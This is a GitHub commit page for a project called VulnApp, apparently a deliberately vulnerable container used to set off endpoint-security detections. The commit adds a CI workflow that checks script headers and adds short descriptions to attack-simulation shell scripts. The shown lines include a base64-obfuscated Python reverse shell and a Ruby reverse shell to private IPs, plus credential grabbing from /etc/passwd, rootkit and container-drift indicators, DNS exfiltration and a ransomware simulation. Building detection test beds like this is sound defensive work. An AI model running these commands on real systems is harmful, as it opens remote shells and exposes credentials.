Skip to content

Commit 2e445f4

Browse files
authored
feat: add script shortname and descriptions to the shell scripts for VulnApp (#51)
1 parent db82094 commit 2e445f4

15 files changed

Lines changed: 86 additions & 6 deletions

.github/workflows/lint-scripts.yml

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
name: Lint script headers
2+
3+
on:
4+
pull_request:
5+
paths:
6+
- 'bin/*.sh'
7+
push:
8+
paths:
9+
- 'bin/*.sh'
10+
11+
jobs:
12+
check-headers:
13+
name: Validate bin/ script headers
14+
runs-on: ubuntu-latest
15+
permissions:
16+
contents: read
17+
18+
steps:
19+
- name: Checkout project
20+
uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
21+
22+
- name: Check script headers
23+
run: |
24+
failed=0
25+
for script in bin/*.sh; do
26+
[ -f "$script" ] || continue
27+
name=$(basename "$script")
28+
line1=$(sed -n '1p' "$script")
29+
line2=$(sed -n '2p' "$script")
30+
line3=$(sed -n '3p' "$script")
31+
32+
if ! echo "$line1" | grep -qE '^#!'; then
33+
echo "FAIL: $name: line 1 is not a shebang (got: $line1)"
34+
failed=1
35+
continue
36+
fi
37+
if ! echo "$line2" | grep -qE '^# Shortname: .+'; then
38+
echo "FAIL: $name: line 2 missing '# Shortname: <name>' (got: $line2)"
39+
failed=1
40+
fi
41+
if ! echo "$line3" | grep -qE '^# Description: .+'; then
42+
echo "FAIL: $name: line 3 missing '# Description: <text>' (got: $line3)"
43+
failed=1
44+
fi
45+
done
46+
47+
if [ "$failed" -eq 0 ]; then
48+
echo "OK: all scripts in bin/ have valid headers"
49+
fi
50+
exit "$failed"
Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
11
#!/bin/sh
2+
# Shortname: credentials_dumping_collection
3+
# Description: Attempts to dump credentials from /etc/passwd to /tmp/passwords.
24

35
echo -e "\e[92mExecuting Collection via Automated Collection script. Trying to dump information from etc/passwd"
4-
sh -c "/bin/grep 'x:0:' /etc/passwd > /tmp/passwords"
6+
sh -c "/bin/grep 'x:0:' /etc/passwd > /tmp/passwords"
Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,7 @@
11
#!/bin/sh
2+
# Shortname: reverse_shell-obfuscated
3+
# Description: Attempts to connect to a remote IP address and will exit at
4+
# fork. Falcon Prevent will kill the attempt. (obfuscated version)
25

36
echo -e "\e[92mExecuting Command and Control via Remote Access Tools using obfuscated Python script. A Falcon Prevent action can kill the attempt"
47
python -c 'import base64;dec=base64.b64decode("aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE3Mi4xNy4wLjIxIiw1NTU1KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItIl0pOw==");eval(compile(dec,"<string>","exec"))'
Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
11
#!/bin/sh
2+
# Shortname: reverse_shell
3+
# Description: Attempts to connect to a remote IP address and will exit at fork. Falcon Prevent will kill the attempt.
24

35
echo -e "\e[92mExecuting Command and Control via Remote Access Tools using Ruby script. This script will try to connect to 192.168.1.222 and will exit at fork. A Falcon Prevent action can kill the attempt"
46
ruby -rsocket -e'exit if fork;s=TCPSocket.new("192.168.1.222",4444);loop do;cmd=gets.chomp;s.puts cmd;s.close if cmd=="exit";puts s.recv(1000000);end'
Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
11
#!/bin/sh
2+
# Shortname: container_drift
3+
# Description: Container Drift via file creation script. Creating a file and then executing it.
24

35
echo -e "\e[92mExecuting Container Drift via file creation script. Creating a file and then executing it."
4-
sh -c "rm -f /bin/id2 ; cp /bin/id /bin/id2; /bin/id2 > /dev/null"
6+
sh -c "rm -f /bin/id2 ; cp /bin/id /bin/id2; /bin/id2 > /dev/null"

bin/Credential_Access_via_Credential_Dumping.sh

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
11
#!/bin/sh
2+
# Shortname: credentials_dumping
3+
# Description: Runs mimipenguin and tries to dump passwords from inside the container environment.
24

35
SCRIPT_DIR=$(cd "$(dirname "$0")" && pwd)
46

bin/Defense_Evasion_via_Rootkit.sh

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
11
#!/bin/sh
2+
# Shortname: rootkit
3+
# Description: This script will change the group owner of /etc/ld.so.preload to 0, indicative of a Jynx Rootkit.
24

35
echo -e "\e[92mExecuting Defense Evasion via Rootkit. This script will change the group owner to '0' of /etc/ld.so.preload indicative for a Jynx Rootkit"
46
touch /etc/ld.so.preload
Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
11
#!/bin/sh
2+
# Shortname: suspicious_commands
3+
# Description: Emulate malicious activity related to suspicious CLI commands. Runs the command sh -c whoami '[S];pwd;echo [E]'.
24

3-
echo -e "\e[92mExecuting Execution via Command-Line Interface. This script is causing malicious activity related suspicious CLI commands"
5+
echo -e "\e[92mExecuting Execution via Command-Line Interface. This script is causing malicious activity related suspicious CLI commands."
46
sh -c whoami '[S];pwd;echo [E]'

bin/Exfiltration_via_Exfiltration_Over_Alternative_Protocol.sh

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
11
#!/bin/bash
2+
# Shortname: data_exfiltration
3+
# Description: Attempts to exfiltrate data using DNS dig requests that contain system data in the hostname.
24

3-
echo -e "\e[92mExecuting Exfiltration Over Alternative Protocol using a DNS tool sendng requests to large domain names. This will take a moment to execute..."
5+
echo -e "\e[92mExecuting Exfiltration Over Alternative Protocol using a DNS tool sending requests to large domain names. This will take a moment to execute..."
46

57
cd /tmp
68
touch {1..7}.tmp

bin/Impact_via_Data_Encrypted_for_Impact.sh

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,7 @@
11
#!/bin/sh
2+
# Shortname: ransomware
3+
# Description: Simulates LockBit file encryption by renaming files with the
4+
# .lockbit extension
25
#
36
# Impact via Data Encrypted for Impact
47
# LockBit-style ransomware simulation

0 commit comments

Comments
 (0)